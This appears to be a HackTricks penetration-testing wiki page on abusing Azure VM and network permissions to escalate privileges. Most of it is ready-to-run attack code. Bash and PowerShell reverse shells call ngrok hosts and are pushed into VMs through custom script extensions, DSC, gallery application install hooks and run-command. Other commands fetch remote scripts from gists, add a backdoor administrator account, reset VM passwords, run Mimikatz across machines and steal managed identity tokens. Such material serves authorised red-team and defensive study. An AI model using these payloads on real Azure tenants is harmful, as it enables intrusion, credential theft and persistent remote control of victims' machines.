# Az - Virtual Machines & Network Privesc

{{#include ../../../banners/hacktricks-training.md}}

## VMS & Network

For more info about Azure Virtual Machines and Network check:

{{#ref}}
../az-services/vms/
{{#endref}}

### **`Microsoft.Compute/virtualMachines/extensions/write`**

This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
Example abusing custom extensions to execute arbitrary commands in a VM:

{{#tabs }}
{{#tab name="Linux" }}

- Execute a revers shell

```bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
  --resource-group <rsc-group> \
  --vm-name <vm-name> \
  --name CustomScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{}' \
  --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```

- Execute a script located on the internet

```bash
az vm extension set \
  --resource-group rsc-group> \
  --vm-name <vm-name> \
  --name CustomScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
  --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```

{{#endtab }}

{{#tab name="Windows" }}

- Execute a reverse shell

```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
  --resource-group <rsc-group> \
  --vm-name <vm-name> \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{}' \
  --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand  "}'

```

- Execute reverse shell from file

```bash
az vm extension set \
  --resource-group <rsc-group> \
  --vm-name <vm-name> \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
  --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```

You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`

- Reset password using the VMAccess extension

```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```

{{#endtab }}
{{#endtabs }}

It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:

<details>

<summary>VMAccess extension</summary>

This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.

```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```

</details>

<details>

<summary>DesiredConfigurationState (DSC)</summary>

This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:

```bash
# Content of revShell.ps1
Configuration RevShellConfig {
    Node localhost {
        Script ReverseShell {
            GetScript = { @{} }
            SetScript = {
                $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
                $stream = $client.GetStream();
                [byte[]]$bytes = 0..65535|%{0};
                while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
                    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
                    $sendback = (iex $data 2>&1 | Out-String );
                    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
                    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
                    $stream.Write($sendbyte, 0, $sendbyte.Length)
                }
                $client.Close()
            }
            TestScript = { return $false }
        }
    }
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
    -ConfigurationPath .\revShell.ps1 `
    -ResourceGroupName $resourceGroup `
    -StorageAccountName $storageName `
    -Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
    -Version '2.76' `
    -ResourceGroupName $resourceGroup `
    -VMName $vmName `
    -ArchiveStorageAccountName $storageName `
    -ArchiveBlobName 'revShell.ps1.zip' `
    -AutoUpdate `
    -ConfigurationName 'RevShellConfig'
```

</details>

<details>

<summary>Hybrid Runbook Worker</summary>

This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/index.html).

</details>

### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`

These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.

The last 2 permissions might be avoided by sharing the application with the tenant.

Exploitation example to execute arbitrary commands:

{{#tabs }}
{{#tab name="Linux" }}

```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
   --gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
    --application-name myReverseShellApp \
    --gallery-name myGallery \
    --resource-group <rsc-group> \
    --os-type Linux \
    --location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
   --version-name 1.0.2 \
   --application-name myReverseShellApp \
   --gallery-name myGallery \
   --location "West US 2" \
   --resource-group <rsc-group> \
   --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
   --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
   --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
   --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
   --resource-group <rsc-group> \
   --name <vm-name> \
   --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
   --treat-deployment-as-failure true


# You can create a SAS URL from a blob with something like:
export EXPIRY=$(date -u -v +1d '+%Y-%m-%dT%H:%MZ')
export URL_PACKAGE=$(az storage blob generate-sas \
  --account-name <acc-name> \
  --container-name <container-name> \
  --name <filename> \
  --permissions r \
  --expiry "$EXPIRY" \
  --https-only \
  --full-uri \
  -o tsv)
```

{{#endtab }}

{{#tab name="Windows" }}

```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
   --gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
    --application-name myReverseShellAppWin \
    --gallery-name myGallery \
    --resource-group <rsc-group> \
    --os-type Windows \
    --location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "
az sig gallery-application version create \
   --version-name 1.0.0 \
   --application-name myReverseShellAppWin \
   --gallery-name myGallery \
   --location "West US 2" \
   --resource-group <rsc-group> \
   --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
   --install-command "powershell.exe -EncodedCommand $encodedCommand" \
   --remove-command "powershell.exe -EncodedCommand $encodedCommand" \
   --update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
   --resource-group <rsc-group> \
   --name deleteme-win4 \
   --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
   --treat-deployment-as-failure true

# You can create a SAS URL from a blob with something like:
export EXPIRY=$(date -u -v +1d '+%Y-%m-%dT%H:%MZ')
export URL_PACKAGE=$(az storage blob generate-sas \
  --account-name <acc-name> \
  --container-name <container-name> \
  --name <filename> \
  --permissions r \
  --expiry "$EXPIRY" \
  --https-only \
  --full-uri \
  -o tsv)
```

{{#endtab }}

{{#tab name="Az" }}

```bash
##### GET VM #####

Get-AzVm
# Check that location is "Central US", the gallery and app mUST be in the same location

$vmName="vm-name"



##### CREATE SAS TOKEN TO USE IN A USELESS BLOB #####

$rg="rg-name"

# Get and set storage account
Get-AzStorageAccount

$accountName = "account-name"

# Get and set container inside the storage
Get-AzStorageContainer -Context (Get-AzStorageAccount -name $accountName -ResourceGroupName $rg).context

$containerName = "container-name"

# Upload dummy file
$key = (Get-AzStorageAccountKey -ResourceGroupName $rg -Name $accountName)[0].Value
$ctx = New-AzStorageContext -StorageAccountName $accountName -StorageAccountKey $key
echo "test" > /tmp/test.txt
$blobName = "test.txt"
Set-AzStorageBlobContent -File /tmp/test.txt -Container $containerName -Blob "$blobName" -Context $ctx

# Generate SAS token
$expiry = (Get-Date).ToUniversalTime().AddDays(1).ToString("yyyy-MM-ddTHH:mmZ")
$sasToken = New-AzStorageBlobSASToken `
  -Container $containerName `
  -Blob $blobName `
  -Permission r `
  -ExpiryTime $expiry `
  -FullUri `
  -Context $ctx



##### CREATE GALLERY AND APP #####

$rg = "rg-name"
$location = "Central US"
$galleryName = "myGallery"
$appName = "myReverseShellApp"
$subscription="subscription-id"

# Create gallery
New-AzGallery -ResourceGroupName $rg -Name $galleryName -Location $location

# Create app in gallery
New-AzGalleryApplication `
  -ResourceGroupName $rg `
  -GalleryName $galleryName `
  -Name $appName `
  -Location $location `
  -SupportedOSType Linux


# Create app version
$versionName = "1.0.2"
## create ngrok listener

New-AzGalleryApplicationVersion `
  -ResourceGroupName $rg `
  -GalleryName $galleryName `
  -GalleryApplicationName $appName `
  -Name $versionName `
  -Location $location `
  -PackageFileLink "$sasToken" `
  -Install "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/19334 0>&1'" `
  -Remove "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/19334 0>&1'" `
  -Update "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/19334 0>&1'"


# Launch app
$appVersionId = "/subscriptions/$subscription/resourceGroups/$rg/providers/Microsoft.Compute/galleries/$galleryName/applications/$appName/versions/$versionName"
$app = New-AzVmGalleryApplication -PackageReferenceId $appVersionId
$vm = Get-AzVM -ResourceGroupName $rg -Name $vmName
Add-AzVmGalleryApplication -VM $vm -GalleryApplication $app
Update-AzVM -ResourceGroupName $rg -VM $vm
```

{{#endtab }}
{{#endtabs }}

### `Microsoft.Compute/virtualMachines/runCommand/action`

This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**

{{#tabs }}
{{#tab name="Linux" }}

```bash
# Execute rev shell
az vm run-command invoke \
  --resource-group <rsc-group> \
  --name <vm-name> \
  --command-id RunShellScript \
  --scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```

{{#endtab }}

{{#tab name="Windows" }}

```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
  --resource-group Research \
  --name juastavm \
  --command-id RunPowerShellScript \
  --scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```

{{#endtab }}
{{#endtabs }}

### `Microsoft.Compute/virtualMachines/login/action`

This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).

Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.

### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`

This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).

Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.

### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.

Depending on the situation more or less permissions might be needed to abuse this technique.

```bash
az vm create \
  --resource-group Resource_Group_1 \
  --name cli_vm \
  --image Ubuntu2204 \
  --admin-username azureuser \
  --generate-ssh-keys \
  --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
  --nsg-rule ssh \
  --location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
```

### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
Then, from the metadata service it's possible to generate tokens for each one.

```bash
# Get currently assigned managed identities to the VM
az vm identity show \
  --resource-group <rsc-group> \
  --name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
  --resource-group <rsc-group> \
  --name <vm-name> \
  --identities \
    /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
    /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```

Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}

### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write

These permissions allow to change the virtual machine user and password to access it:

```bash
az vm user update \
  --resource-group <RESOURCE_GROUP_NAME> \
  --name <VM_NAME> \
  --username <USERNAME> \
  --password <NEW_PASSWORD>
```

### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".

These permissions allow you to manage, disks, and network interfaces, and, they enable you to attach a disk to a virtual machine.
```bash
# Update the disk's network access policy
az disk update \
  --name <disk-name> \
  --resource-group <resource-group-name> \
  --network-access-policy AllowAll

# Attach the disk to a virtual machine
az vm disk attach \
  --vm-name <vm-name> \
  --resource-group <resource-group-name> \
  --name <disk-name>
```

### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...

{{#include ../../../banners/hacktricks-training.md}}
